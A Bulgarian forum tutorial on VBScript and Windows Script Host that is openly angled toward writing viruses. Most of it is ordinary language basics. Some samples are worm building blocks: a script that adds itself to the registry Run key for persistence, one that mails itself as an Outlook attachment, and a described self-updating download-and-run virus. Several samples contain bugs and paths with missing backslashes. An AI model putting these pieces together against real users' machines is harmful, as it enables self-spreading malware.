Помощ - Търсене - Потребители - Събития
Пълна версия: WSH Programming с VBS
GGbit.info > Hi-Tech > Web разработка > Полезни статии
vIkToRsHeFa
===================================
1. Disclamer
2. Introduction
3. Променливи
4. Константи
5. Цикли
6. Оператори
7. Условни преходи
8. Подпрограми
9. Манипулации със стрингове
10. Обекти
11. Работа с файлове
12. Работа с директории
13. Работа със системния регистър
14. Връзка с WWW
15. Изпращане на e-mail чрез OutLook
16. WSH за напреднали
17. Примери
18. Outroduction
19. CopyRights

Disclamer
===================================
Описаните тука действия НЕ трябва да бъдат използувани с нелегални цели и съответно автора НЕ поема никаква отговорност при такова използуване!

===================================
Introduction

Може би много хора от вас са чували за VB скриптовете. След нашумелите вируси като ILoveYou който порази над 10 000 000 (десет милиона) потребителя и много подобни се съмнявам човек занимаващ се с компютри да не знае какво е VBS. Все пак за тези, които не знаят ще обясня в следващия абзац.

VB скриптовете са кодове писани на BASIC. Нямам предвид QBASIC, TurboBASIC, Visual Basic или нещо подобно, а просто че се използува синтаксиса на BASIC-овите програми, както и същите команди, оператори и функции. По същество VBS скрипта е просто един файл с разширение .VBS (може и .shs), който бива изпълняван посредством програмите WSCRIPT.EXE и CSCRIPT.EXE. Това означава, че те не са компилиран машинен код, а просто текстови инструкции интерпретирани от гореспоменатите програми.
Тези две програми могат да се запишат или при инсталация на някои по-високи версии на Windows или при инсталация на Internet Explorer 3.0 и по-висока. Поддръжката на такива скриптове се нарича Windows Script Hosting (WSH). Повече обща информация за VBS - www.bulhack.org/docs/vbs.htm

VBS може да създава отделно кодове с ограничени функции, които да се вграждат в Web страници и отделно самостоятелни приложения, които могат да имат функциите на всяка една Windows програма.
Какво имам предвид под ограничени функции? Ами просто програмата не може да извършва операции в hard disk-а на потребителя както и да използува отделни интерфейси (мрежов интерфейс например).
Важно е да се отбележи, че VBS не е изграден на процедурно ниво, а в него е застъпено до голяма степен обектно-ориентираното програмиране (ООП).

Ето за пример едно HTML с вмъкнат VBScript

<HTML>
<HEAD>
<TITLE>Button Sample</TITLE>
</HEAD>
<BODY>
<FORM NAME="Form1">
<INPUT TYPE="Button" NAME="Button1" VALUE="Click">
<SCRIPT FOR="Button1" EVENT="onClick" LANGUAGE="VBScript">
MsgBox "Button Pressed!"
</SCRIPT>
</FORM>
</BODY>
</HTML>

Мисля че няма нужда от много разяснения. <SCRIPT> тагът указва, че следва код на LANGUAGE="VBScript". FOR="Button1" указва за кой обект ще се изпълни скрипта, EVENT="onClick" указва той да бъде изпълнен при кликване и съответно тялото между <SCRIPT> и </SCRIPT> показва една диалогова кутийка с надпис 'Button Pressed!'

Този HTML код ви го давам само информативно. Знам че малко от вас ви вълнува ползуването на VBS в Web страници при положение, че много нови дизайнерски програми вмъкват такива кодове автоматично и затова ще засегна въпроса как се правят самостоятелни Windows приложения та дори и някое вирусче smile.gif.

Както казахме самостоятелните приложения имат редица предимства, но все пак си остава в сила факта, че за да бъдат стартирани трябва да бъде най-малкото кликнато два пъти върху тях smile.gif. Но...тази "защита" не може да бъде преодолята.
Почвам по същество.
Скриптовете ви позволявам да ги пишете с всякакъв текстов редактор без значение(EDIT, Notepad..).

===================================
Променливи

Да видим какво има в една BASIC програма...ами както във всяка една програма има почти винаги променливи. Във VBS има едно голямо предимство и то е че всички променливи при декларация са от тип Variant. Типът Variant може да съдържа всякаква информация - както числа така и практически неограничени стрингове. Има два начина за деклариране на променлива. Първият е чрез командата DIM. Например:
Dim Counter
Декларират в паметта променливата Counter
Другият вариант е просто като използувате променливата някъде в програмата, но този метод не е предпоръчителен, понеже често се случва да объркате името на една променлива, което много често води до трагични резултати по време на изпълнение. Ето защо е добре най в началото на програмата да използувате командата Option Explicit, което указва на интерпретатора да използува само предварително декларирани с DIM променливи, а в противен случай да дава грешка.
Ако искате една променлива да не приема никаква стойност това става чрез:
Promenliwa = nothing

Масивите представляват група от сходни променливи. Например:
Dim a(10)
създава масив с 11 елемента и съответно към всеки елемент можем да се обърнем чрез:
a(x) където x e между 0 и 10 включително
Разбира се има и двумерни масиви
Dim da(5,5)
Това ще създаде масив с 6 редици и 6 колони (представете си го като Excel-ска таблица 6x6 като във всяка клетка има записана стойност. Към тези масиви се обръщаме с:
a(x,y) където x и y са числа между 0 и 5 включително

Ето и една примерна програмка само с променливи (с ' се отбелязва началото на коментар)
--- vbs1.vbs ---
Option Explicit
Dim edinichna_promenliwa ' забележете че можете да ползувате не само букви
Dim masiw1(6) ' създава масив с 7 елемента
Dim masiw2(1,1) ' създава двумерен масив 2x2 елемента
edinichna_promenliwa=1001 ' на променливата се присвоява стойност 1001
masiw1(0)=3
masiw1(1)=6
masiw1(2)=2
masiw1(3)="Yahoo"
masiw1(5)=4.5
masiw1(6)=1.108 ' отбележете че можем да ползуваме всякакви стойности като
' стринговете се заграждат в " "

masiw2(0,0)="Ma"
masiw2(1,0)="jo"
masiw2(0,1)="ne"
masiw2(1,1)="za" ' инициализираме и двумерния масив
--- vbs1.vbs ---
Тествайте програмата посредством double-click или чрез стартиране от ДОС:
wscript vbs1.vbs

Накрая искам да вмъкна за още един тип променливи - променливи от тип Date, т.е. променлви, които съхраняват дадена дата. Те имат следния формат:
MyDate = #August 13, 1982#
Както се вижда ограждат се в #, после се пише месеца деня, годината

До тук с променливите

===================================
Константи

Константите са подобни на променливите само че веднъж дефинирани тяхната стойност може само да се чете, но не и да се презаписва с друга. Константа се декларира по следния начин:
Const MyAge=19
Const MyNickName="|Razor|"

Сега например можем да напишем:
Const MyAge=19
Dim MA
MA=3
MA=MyAge

но не можем
Const MyAge=19
Dim MA
MA=3
MyAge=MA

Във първия случай променливата MA ще съдържа 3

===================================
Цикли

Да видим сега и какво представляват циклите...ами това са просто поредица от команди, които се изпъляват определен брой пъти. VBS поддържа 4 вида цикли и те се изпълняват посредством следните оператори:
Do...Loop: Изпълнява командите между Do и Loop докато дадено условие стане истина
While...Wend: Докато дадено условие е истина изпълнява командите межди While и Wend
For...Next: Изпълнява командите между For и Next N пъти като това N се определя чрез променлива
For Each...Next: Изпълнява командите между For Each и Next, по веднъж за всеки елемент на масив или обект от тип Collection

Ето примери за всеки вид цикъл:
Do...Loop

Dim counter, myNum
counter = 0
myNum = 20
Do While myNum > 10
myNum = myNum - 1
counter = counter + 2
Loop
MsgBox "Counter = " & counter ' показва диалогова кутия "Counter = 20"

Това както се вижда ще изпълни двете операции 10 пъти като за всеки път намаля с 1 стойността на myNum и увеличава с 2 стойността на counter. По този начин след 10-то изпълнение myNum НЕ е по-фолямо от 10, а counter е равно на 20.

Аналогична програма с Until

Dim counter, myNum
counter = 0
myNum = 20
Do Until myNum = 10
myNum = myNum - 1
counter = counter + 2
Loop
MsgBox "Counter = " & counter ' показва диалогова кутия "Counter = 20"

Това се изпълнява докато myNum приеме стойност 10 (резултата е същия).

For...Next

Dim x
For x = 1 To 5
MsgBox("x=" & x)
Next

Това ще повтори MsgBox... 5 пъти като всеки път ще изписва "x=1"(2,3,4,5). Елементарно, нали?

For Each...Next

Dim a(1),ax
a(0)="hello" : a(1)="there"
For Each ax in a
MsgBox ax
Next

В случая имаме масив 'a' с определен брой елементи. Оператора For Each върти цикъла два пъти в случая, като за всеки път стойността на 'ax' е следващия елемент на масива

===================================
Оператори

Аритметичните, логическите оператори и операторите за сравнение са показани в списък отдолу с предназначението им
a + b - събира a и b
a - b - изважда от a, b
a * b - умножава a и b
a / b - дели a на b
a b - дели a на b и като резултат връща само цялата част (напр. 12 5 = 2)
a ^ b - повдига a на степен b
a & b - към стринга a прибавя стринга b

a = b - сравнява дали a и b са равни (това е оператор за сравнение, който връща истина ако са равни и лъжа ако не са (True и False)
a <> b - обратното действие на горния
Предполагам вие се досещате какви сравнения правят долните:
a > b , a < b , a>=b , a<=b
Ето и по-използуваните логически оператори
U AND V - връща истина ако и условие U и уловие V са изпълнени
U OR V - връща истина ако е изпълнено кое да е условие U или V

===================================
Условни преходи

Условния преход е преход, който се изпълнява когато е изпълнено някакво условие. Или да го наречем по-просто това е блок оператори който се изпълнява само когато дадено условие е изпълнено. Има два вида условни оператори в Basic. Единият блок е If-Then-Else, а другия Select Case.

Да погледнем първо If-Then-Else
Много често се налага дадена част от програмата да се изпълни само в определени условия. Например ако пишете някоя програмка няма да искате да кажем тя да изписва всеки път на потребителя "Днеска ме пуснахте за пръв път", а това трябва да стане само веднъж. Ще разгледам скрипт, който да изкарва MessageBox само ако дадена променлива "a" има стойност 1.

Dim a
a=1 ' това пробвайте да го промените
If a=1 then MsgBox "'a' e rawno na 1" else MsgBox "'a' ne e rawno 1"

В случая условието е дали "a" е 1. Когато условието е изпълнено се изпълнява частта на програмата след Then, а ако не е изпълнено след Else. Т.е. между If и Then се използуват винаги логически оператори и оператори за сравнение. Можете да кажем да напишете:
If a=1 AND b>3 AND c<>2 Then ... ' Ако "a" равно на 1 и "b" е по-голямо от 3 и "c" различно от 2

Разбира се Else не е задължително да се ползува
Блокът Select Case се използува когато в зависимост от дадена стойност на променлива трябва да изпълним най-различни неща. Да кажем ако една променлива f е 1 да направим едно нещо, ако е 2 друго и т.н.

f=InputBox("Wywedete tipa na washata karta s chislo 1-3")
Select Case f
Case 1
MsgBox "Washata karta e VISA"
Case 2
MsgBox "Washata karta e AmericanExpress"
Case 3
MsgBox "Washata Karta e MasterCard"
Case Else
MsgBox "Nepoznata karta"
End Select

Значи Select Case f означава, че в частта от програмата до End Select ще се проверява стойността на променливата f. Мисля че другото е очевидно. Case 1 изпълнява частта от програмата до Case 2 ако f е 1. Аналогично е за 2 и за 3. Case Else се изпълнява тогава ако не е изпълнен нито един от споменатите Case-ове.

===================================
Подпрограми

Подпрограмите са малки части от програмата, които изпълняват определена функция и могат да бъдат винаги извикани от главната програма. Подпрограмите могат да са процедури и функции. Функциите за разлика от процедурите не връщат резултат, а просто извършват дадени операции.
Функция се дефинира чрез:
Function Ime(Parametri)
...
...
End Function
а процедурата с:
Sub Ime(Parametri)
...
...
End Sub

Ето една примерна програма за използуване на подпрограми:

--- vbs2.vbs ---
Function Celsius(Degrees)
Celsius = (Degrees - 32) * 5 / 9 ' присвоява на функцията стойност
End Function

Sub ConvertTemp()
temp = InputBox("Wywedete temperaturata w gradusi po Farenhajt", 1)
MsgBox "Temperaturata po Celzij e " & Celsius(temp) & " gradusa"
End Sub

ConvertTemp

--- vbs2.vbs ---

Тази програма превръща въведаната от потребителя температура посредством функцията InputBox (InputBox е функция понеже връща резултат, който се записва в променливата temp).
Значи дефинираните от потребителя подпрограми са функцията Celsius(Degrees) и процедурата ConvertTemp(). () Означава че процедурата не приема параметри. Главната програма се състои единствено от командата ConvertTemp

===================================
Манипулации със стрингове

Стригновете предполагам знаете това са поредица от символи в паметта, които образуват дадено словосъчетание. Вече сте забелязали, че стринговете се заграждат в " ", като ако се наложи даден стринг да съдържа " , тя се пише като "". Примери за стрингове:
"Palatka"
"Fifa98!"
" a b c "
"user@domain.com"
"ul. ""Preslaw"" 11"
Както виждате стринга може да е всичко. Сега да видим какви манипулации можем да извършваме върху стринг (или поне кои ще разгледаме)
- събиране на стрингове
Става чрез &
Dim Str1,Str2,Str3,NewStr
Str1 = "V" : Str2="B": Str3="S"
NewStr = Str1 & Str2 & Str3
MsgBox(NewStr)

- премахване на водещи икрайни празни места в стринг (" eho " -> "eho")
Това става посредством функцията Trim
Dim OldStr,NewStr
OldStr = " eho "
NewStr = Trim(OldStr)
MsgBox(NewStr)
Аналогично се ползуват LTrim и RTrim, само че те премахват space съответно само от ляво или само от дясно

- изваждане на стринг от стринг ("VBS Rulez" -> "Rul")
Това става посредством функцията Mid
Dim OldStr,NewStr
OldStr = "VBS Rulez"
NewStr = Mid(OldStr,5,3) ' Отрязва от 5-я символ, 3 символа
MsgBox(NewStr)

Аналогично се ползуват Left и Right. Те обаче режат N символа от левия или десния край на стринга (Пр. NewStr = Left(OldStr,4) - 4 символа от ляво)

- показване големината на стринга (колко символа има в него)
Става чрез Len
Dim Str1
Str1 = "Welcome!"
MsgBox(Len(Str1))

- разделяне на стринг на подстрингове
Става чрез функцията Split(string,razdeliasht_string)
Dim longline,lines,i
longline = "Hello" & vbcrlf & "there" & vbcrlf & "humans"
lines = Split(longline,vbcrlf)
For i=0 to UBound(lines) ' UBound връща големината на масива
MsgBox(lines(i))
Next

В случая longline съдържа 3 реда текст (vbcrlf = нов ред). Командата Split ги записва в масива lines като ги разделя там където има нов ред. След това с един цикъл изписваме всяка дума

- замяна на подстринг с друг подстринг ("2001" -> "2oo1"
Става чрез Replace
NewStr = Replace(OldStr,St1,St2)
В случая в стринга OldStr всички St1 ще се заменят с St2 и новия стринг ще бъде NewStr

- търсене на подстринг в стринг
става чрез a=InStr("начало","подстринг", "стринг")
Това би започнало търсене от "начало" (дадено число) да търси стринга "подстринг" в стринга "стринг" и като резултат връща позицията на подстринга в стринга (т.е. на колко символа от началото)

Това бяха някои от основите на езика БЕЙСИК. Сега нека да навлезнем по-навътре в нещата. VBS не се изгражда смо на процедурно ниво, а използува и обекти подобно на всички нови езици.
За повече информация относно основните неща се поборете малко с help-а на QBASIC (може да се свали от къде ли не)

===================================
Обекти

Какво е обект? Ами да вземем например един касетофон. Той е обект. Характерезира се със собствени свойства - сила на звука (volume), честота, на която е нагласен, цвят и много други. Тези свойства се наричат properties. Също така има и методи (methods) , които характеризират действията, които може да прави. Да кажем, да започне да свири, да увеличи/намали звука и т.н.
Обектите поставиха начало на изцяло нов вид програмиране - обектно ориентираното програмиране(ООП). В старите времена когато Windows още не беше замислен, всички програми се правиха на процедурно ниво. Т.е. в основата им бяха процедурите и функциите. Но в сегашните операционни системи. Всички програми се изграждат с помощта на обекти. По-горе дадох пример, че един касетофон е обект. Да вземем един обект под Windows - например бутончето. Някои от неговите свойства са: текст, цвят, фон, размери и други. От друга страна то има и определени методи като: да се покаже, да се скрие, да се натисне и т.н. Разбира се не само бутоните са обекти. Обекти са също прозорците, списъците, картините и всичко, което виждате.

Сега нека да видим вградените в WSH обекти. Основният обект на WSH e WScript. Чрез него могат да се създадат най-различни други обекти както и да се контролира изпълнението на скрипта (посредством реда WScript.Quit например бихме прекратили изпълнението му). Повече информация за обектите в WSH има в точката "WSH за напреднали". Може би най-важния за нас това ще е обекта за работа с файловата система на компютъра т.е. с файлове и с директории. За начало трябва да знаете, че нов обект се създава посредством функцията CreateObject. Обекта за работа с файловата система на компютъра се нарича FileSystemObject(FSO). За да направим една променлива манипулатор към дадения обект трябва да изпълним следните две неща:
Dim fso1
Set fso1 = CreateObject("Scripting.FileSystemObject")
С това посредством променливата fso1 можем да извършваме операции над хард диска на потребителя.
За създаване на манипулатори до файлове, директории и устройства използуваме следните команди:
GetFile
GetFolder
GetDrive

Пример за създаване на манипулатор към файла c:autoexec.bat

Dim fso, f1
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.GetFile("c:autoexec.bat")

Сега f1 е манипулатор към файлта c:autoexec.bat. Посредством него можем да кажем да видим каква е големината на файла:
MsgBox f1.Size
Други свойства на тези обекти са: Name - връща името, DateLastModified - дата на последно променяне и още много други, които предполагам няма да ни трябват.

Създаването на директорията C:MyTest може да стане посредством следната процедура:

Sub CreateFolder
Dim fso, fldr
Set fso = CreateObject("Scripting.FileSystemObject")
Set fldr = fso.CreateFolder("C:MyTest")
End Sub

Друг важен метод за нас това ще е метода Shell на обекта WScript (WScript.Shell). Чрез него могат да бъдат стартирани всякакви документи и програми. Ето пример за създаване на такъв обект и стартиране на NotePad чрез него:

Dim executor1
Set executor1 = CreateObject("Wscript.Shell")
executor1.Run("%windir%notepad.exe")

Отбележете че %windir% връща директорията където е инсталиран Windows
Разбира се може да бъде отворена лесно и цяла Web страница:
Dim executor1
Set executor1 = CreateObject("Wscript.Shell")
executor1.Run("http://www.google.com")

както и всякакви други документи

===================================
Работа с файлове

Работата с файловете имат две основни цели:
- създаване на файлове; четене и писани във файлове
- копиране, преместване и изтриване на файлове
Създаването на текстов файл може да стане по няколко начина, но ще разгледам най-простия - чрез командата CreateTextFile. Пример:

Dim fso, f1
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.CreateTextFile("c:test.txt", True)

f1 е както знаете манипулатор към новосъздадения файл

Сега след като сме създали файла е добре да знаем как да му турим нещо smile.gif. За да запишем информация във файл първо трябва да го отворим, след това да запишем к'вото ще записваме и накрая да го затворим.
Ето примерна програм, която създава файл c:testfile.txt,записва на един ред "Testing 1, 2, 3." ,
след това оставя 3 празни реда и накрая записва "This is a test."

Sub CreateFile()
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile("c:testfile.txt", True) 'tf - манипулатор

tf.WriteLine("Testing 1, 2, 3.") ' WriteLine записва реда и след него автоматично поставя ' символ за нов ред
tf.WriteBlankLines(3) ' 3 празни реда

tf.Write ("This is a test.") ' текст без празен ред накрая
tf.Close ' Затваряме файла
End Sub

Сега да видим и как можем да прочетем информация от файл. Това става посредством следните 3 функции: Read, ReadLine и ReadAll
Read(n) чете определен брой байтове от текущата позиция на файла, като след прочитането им текущата позиция става един байт след последния прочетен символ (първия непрочетен).ReadLine чете поредния ред от файла, а ReadAll чете цялата информация. Ето примери:

Sub ReadFiles
Dim fso, f1, ts, s
Const ForReading = 1
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.CreateTextFile("c:testfile.txt", True)
f1.WriteLine "Hello World"
f1.WriteBlankLines(1)
f1.Close
Set ts = fso.OpenTextFile("c:testfile.txt", ForReading)
s = ts.ReadLine
MsgBox s
ts.Close
End Sub

В случая както виждате използуваме OpenTextFile с втори параметър 1 (ForReading). Втория параметър указва дали отваряте файла за четене (1) или за записване (2).

Остава последната манипулация с файловете - копирани,преместване и изтриване
Извършването на такава операция става най-често чрез манипулатора към файла. Ето общ пример за тези три действия:

--- vbs3.vbs ---
Option Explicit
Dim fso ' манипулатор към обекта FileSystemObject
Dim f1,f2 ' манипулатори към файлове
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.CreateTextFile("c:testing.txt", True)
f1.WriteLine ("This is just one test file")
f1.Close
Set f2 = fso.GetFile("c:testing.txt")
' Следващият ред копира файла в директория c:windows под името test2.txt
f2.Copy ("c:windowstest2.txt")
' Сега имаме един файл testing.txt и един windowstest2.txt
' Следващият ред премества файла c:testing.txt в c: под името test2.txt
f2.Move ("c:test2.txt")
' И накрая затриваме файла c:test2.txt и c:windowstest2.txt
Set f1 = fso.GetFile("c:windowstest2.txt")
Set f2 = fso.GetFile("c:test2.txt")
f1.Delete
f2.Delete
MsgBox "Poink!"
--- vbs3.vbs ---

Сега нека видим как можем да проверим дали даден файл съществува. За целта се използува командата On Error. В случая блокът "On Error Resume Next" означава при възникване на каква да е грешка програмата да продължи изпълнението си, като номера на грешката след това може да бъде взет чрез функцията Err. Номерът на грешката когато даден файл не е намерен е 53

Dim fso,f1
Set fso = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Set f1=fso.GetFile("c:blabla.bla")
if Err=53 then MsgBox "File Not Exist"

Значи програмата се опитва да създаде манипулатор към файла, но понеже такъв файл няма изписва показаното съобщение. Този начин ви го давам само за демонстрация на On Error.
Другия и по-лесен вариант е да използуваме метода FileSystemObject.FileExists("Име")
Например:
Dim fso,f1
Set fso = CreateObject("Scripting.FileSystemObject")
f1 = fso.FileExists("c:windowsmu.mu")
If f1=False then MsgBox "File Not Exist"

Сега да засегна едно нещо, което ще ви се наложи при писане на вируси...как да разберем какво е името на файла на скрипта, който е стартиран
Dim fso,s
Set fso = CreateObject("Scripting.FileSystemObject")
s = fso.GetFile(WScript.ScriptFullName)
MsgBox(s)

===================================
Работа с директории

Работата с директории е близка до работата с файлове. За начало е ясно, че трябва да създадем манипулатор към директорията. Това става с:
Set fso = CreateObject("Scripting.FileSystemObject")
Set d1 = fso.GetFolder("c:windows")
Какво можем да правим с една директория?
- Да е създадем
- Да е изтрием
- Да е копираме
- Да е преместим
За тези цели се използуват съответни следните методи:
Set fso = CreateObject("Scripting.FileSystemObject")
- fso.CreateFolder ("Име")
- fso.DeleteFolder ("Име")
- fso.Copy ("Име")
- fso.Move ("Име")

Разбира се ако се опитате да създадете манипулатор към несъществуваща директория, да изтриете или копирате такава, възниква грешка. За това е добре първо да проверим дали директорията съществува. Това може да стане така:
FileSystemObject.FolderExists ("Име")
Катп пример можем да дадем аналогичен на този с проверка дали файл съществува.
Ето една програма, която проверява дали дадена директория съществува и ако е така е изтрива.

--- vbs4.vbs ---
Option Explicit
Dim fso,d1,s
s=InputBox("Wywedete direktoriq w c:")
s="c:" & s
Set fso = CreateObject("Scripting.FileSystemObject")
f1 = fso.FolderExists(s)
If f1=False then MsgBox "No Such Folder" Else fso.DeleteFolder(s) : MsgBox "Killed!"
' Забележете, че командите на един ред могат да се разделят с ":"
--- vbs4.vbs ---

Друга интересна функция използувана с директориите е GetSpecialFolder(param), където param е дадено число или низ. Тя връща определена системна директория както следва:
0 - Windows директорията (c:windows напр.)
1 - Системни файлове на Windows (c:windowssystem напр.)
2 - Временни файлове на Windows (c:windowstemp напр.)
Разбира се това са само част от параметрите на тази функция. Останалата част са описани по-надолу в документа.
Option Explicit
Dim fso,d1
Set fso = CreateObject("Scripting.FileSystemObject")
Set d1=fso.GetSpecialFolder(0)
MsgBox d1

И накрая да видим как можем да получим всички файлове в дадена директория.

On Error Resume Next
Dim fso,d1,s,fls,fl
s=InputBox("Wywedete direktoriq w c:")
s="c:" & s & ""
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.GetFolder(s)
Set fls=f1.Files
For Each fl in fls
MsgBox(fl.Name)
Next

С For Each...Next обикаляме всеки елемент на масива

===================================
Работа със системния регистър

Спомнете си когато говорихме за обекти. Там споменахме друг обект освен FileSystemObject. Това беше ShellScript обекта. Той има няколко функции и една от тях е човъркането в системният регистър. Както знаеет системния регистър може да се разгледа с програмата Regedit и се състои от ключове, които имат дървовидна структура като във всеки ключ има записани най-различни стойности.
Няма да навлизам в подробности в самия регистър, а ще погледнем как можем да се бъзикаме из него.
За начало разбира се създаваме инстанция на обекта WScript.Shell:
Dim sh1
Set sh1 = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
sh1.Run (fso.GetSpecialFolder(0) & "Notepad.Exe")
Тази програма просто ще стартира Notepad

Работата с регистрите се извършва също чрез този обект. Използуват се методите RegWrite и RegDelete. Например, за да накараме дадена програма да се стартира при пускане на Windows трябва да е запишем в HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun :

Dim sh1
Set sh1 = CreateObject("WScript.Shell")
sh1.RegWrite "HKLMSoftwareMicrosoftWindowsCurrentVersionRunJustATest","somefile.exe"

За да прочетете стойност от регистъра ползувате:

Dim sh1,result
Set sh1 = CreateObject("WScript.Shell")
result = sh1.RegRead("HKLMSoftwareMicrosoftWindowsCurrentVersionRunJustATest")

Изтриването става аналогично с RegDelete (Пр. sh1.RegDelete("HKLM.....") )
Ето сега пример как да накараме след като потребителя стартира някакъв скрипт той да си вкарва в системния регистър своето име и по този начин да се стартира при всяко пускане:

--- vbs5.vbs ---
Dim fso, sh1, ownname, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set sh1 = CreateObject("WScript.Shell")
ownname = fso.GetFile(WScript.ScriptFullName)
sh1.RegWrite "HKLMSoftwareMicrosoftWindowsCurrentVersionRunSample",ownname

s = InputBox("To remove this box type ""Blq""")
If "s" = blq Then sh1.RegDelete "HKLMSoftwareMicrosoftWindowsCurrentVersionRunSample"
--- vbs5.vbs ---

===================================
Връзка с WWW

Много е важно нашите скриптове да осъществяват връзка с WWW. Наскоро беше станал популярен един скрипт вирус (не му помня името), който непрекъснато се update-ваше от Internet като по този начин можеше да върши какво ли не. Идеята при него беше, че просто от дадено URL тегли информацията и е съхранява като VBS файл като разбира се го стартира. Това ви го давам само като пример понеже се надявам да не ползувате тази статия за писане на вируси (ако не знаете вече и в България е подсъдимо). Връзка с WWW можем да осъществим чрез Internet Explorer. Ако отворите Object Browser на VBA и от Project/References вмъкнете Microsoft Internet Controls в първия ще видите всички свойста на ActiveX контролите предоставени от IE(погледнете малко по-надолу). Та в случая просто ще използуваме метода Application, за да получим манипулатор към Internet Explorer. Т.е. първо ще пишем:
Set ie=CreateObject("InternetExplorer.Application")
По този начин чрез "ie" можем да се обръщаме към всички методи и свойства на Internet Explorer. А тях казахме можете да ги видите от Object Browser на Visual Basic for Application. Горе вмъкнах малко обяснение как става това, но ако не сте разбрали ето ви по-подробна информация:
1) Пуснете Visual Basic 5.0 или друга версия, която имате.
2) Почнете нов проект
3) Изберете Project/References и от списъка изберете "Microsot Internet Controls"
4) Ако нямате такова неща явно просто нямате Internet Explorer или той не е достатъчно нова версия (може би 2.0?)
5) Сега натиснете F2 или изберете View/Object Browser
6) От първото падащо меню изберете SHDocVw и хоп...ето ви най-различни ActiveX обекти използувани за Automation.
По горепосочения начин може чрез VBS да имате достъп до най-различни ActiveX обекти предоставени ви от други приложения на вашия компютър
Ето ви сега и примерен код, който тегли страница от някакъв адрес (в случая www.bulhack.org/maintext.htm) и е записва във файл cont.htm:

--- vbs6.vbs ---
dim strContents, fso, f1
dim ie
set iE = WScript.CreateObject("InternetExplorer.Application")
set fso = CreateObject("Scripting.FileSystemObject")
set f1=fso.CreateTextFile("cont.htm",True)
ie.visible =false ' указваме всичко да е скрито
ie.navigate "www.bulhack.org/maintext.htm" ' адреса
do while ie.busy=true ' зацикляме го до като не стигне края на страницата
loop
strContents =ie.document.documentelement.innerhtml ' получения HTML
f1.Write strContents
ie.quit
set ie =nothing
--- vbs6.vbs ---

Както виждате не е трудно и по този начин можете да получите достъп до най-различни ActiveX компоненти

===================================
Изпращане на email чрез OutLook

И в случая отново се използува ActiveX Autmation, но този път използуваните ActiveX обекти са от OutLook. Нещата са малко по-сложни, но много малко smile.gif

За начало можете отново да пуснете Object Browser и този път от References вмъкнете Microsoft Outlook X.X Object Library. Ако нямате такова нещо значи нямате инсталиран OutLook и съответно няма да можете да пращате mail.
Сега можете да се поразровите из предоставените ви от Outlook обекти за Automation.
За начало нека видим как можем да създадем манипулатор към един такъв ActiveX обект:
Set manip = CreateObject("Outlook.Application")
След това трябва да укажем, че искаме да създадем e-mail съобщение. Това става чрез:
Set email = manip.CreateItem(olMailItem)
По този начин email е вече манипулатор към обекта MailItem
Следва само да укажем:
- получател
email.Recipients.Add("e-mail")
- тема
email.Subject = "Tema"
- съдържание
email.Body = "Towa syobshtenie e prateno" & vbCrLf & "izpolzuwajki OutLook Automation"
- и евентуално Attachement
email.Attachments.Add("път_до_локален_файл")
След като укажем това пишем:
email.Send
и вече нямаме грижи!
Ето пълен код, който праща самия скрипт на даден човек:

--- vbs7.vbs ---
On Error Resume Next 'dobre e programata da zapochwa towa
' s cel da ne dawa greshki pri izpylnenie
Set manip=CreateObject("OutLook.Application")
Set email=manip.CreateItem(olMailItem)
email.Recipients.Add("vasko@dir.bg") ' primeren mail
email.Subject="Script"
email.Body="Check This Script!"
email.Attachments.Add(WScript.ScriptFullName)
email.Send
Set manip=nothing
Set email=nothing
--- vbs7.vbs ---

И отново виждате колко мощно средство са

===================================
WSH за напреднали

Както вече знаете VBS е интерпретатор за писане на скриптове, а самата поддръжка на такива скриптове под Windows става чрез Windows Scripting Host (Хостване на скриптове под Windows). До сега разгледахме съвсем общо някои от нещата, които можем да правим с VBS. Но нека се опитаме да вникнем в основата на WSH, понеже както разбрахте той е основата на всички Windows скриптове.
Благодарение на WSH под Windows могат да се стартирак както VB скриптове така и Java скриптове. В основата на WSH стоят обектите. От своя страна основният обект това е Wscript. Този обект не може да бъде създаден чрез функцията CreateObject понеже той се създава при стартиране на скрипта и се унищожава при прекратяването му. По същество той представлява манипулатор към скрипта изпълняващ се в момента от wscript или cscript.
Някои от свойствата на този обект (properties) са:
Wscript.Path - връща пътя до изпълнявания скрипт
Wscript.ScriptFullName - връща пътя и името(на файла) на изпълнявания скрипт
WScript.ScriptName - връща само името на скрипта
WScript.TimeOut - чете/настройва времето, след което скрипта ще бъде прекратен (в секунди)
Някои от методите на обекта са:
WScript.Sleep милисекунди - скрипта изчаква указания брой милисекунди (1000мс = 1с)
WScript.Echo "текст" - показва диалогова кутия с даден текст
WScript.Quit - прекратява скрипта
...
Друг важен обект е WSHShell. Чрез него можем да стартираме приложения, да правим дадено приложение активно, да симулираме натискане на клавиш върху активния прозорец, да работим със системния регистър и да създаваме shortcuts. За разлика от Wscript той не се създава автоматично, а трябва да бъде създаден ръчно чрез wsh=CreateObject("Wscript.Shell") (вижда се, че той е наследник на обекта WScript). Основни негови методи са:
wsh.Run "приложение" - стартира даденото приложение
wsh.AppActivate "title" - прави активна програмата с име "title".
Например ако сте пуснали Paint, който в момента не е активния прозорец,
чрез wsh.AppActivate "Paint" ще го направите активен
rr=wsh.RegRead ("ключ") - чете информация от съответния ключ в системния регистър
wsh.RegWrite "ключ", "стойност", "тип_запис" - записва дадена стойност върху "ключ". "Тип_запис" указва като какво да бъде записана стойността:
"REG_SZ" - стринг; "REG_DWORD" - 32 битово целочислено число; "REG_BINARY" - двоично число
wsh.RegDelete "ключ" - изтрива
Под ключ разбираме комбинация от RootKey и пътя в този RootKey. Имаме 5 основни RootKeys:
HKEY_CURRENT_USER или HKCU
HKEY_LOCAL_MACHINE или HKLM
HKEY_CLASSES_ROOT или HKCR
HKEY_USERS
HKEY_CURRENT_CONFIG
Пътя в тях е да кажем:
MyAppVersionValue - MyAppVersion е пътя, а Value е дадена стойност (вижте регистъра си с regedit за по-добра визуална представа)
В случая "ключ би било" например: HKLMMyAppVersionValue

Wshsc=wsh.CreateShortcut("приложение") - създава shortcut до приложение.
Wshsc е обект от тип WshShortcut (виж по-долу)

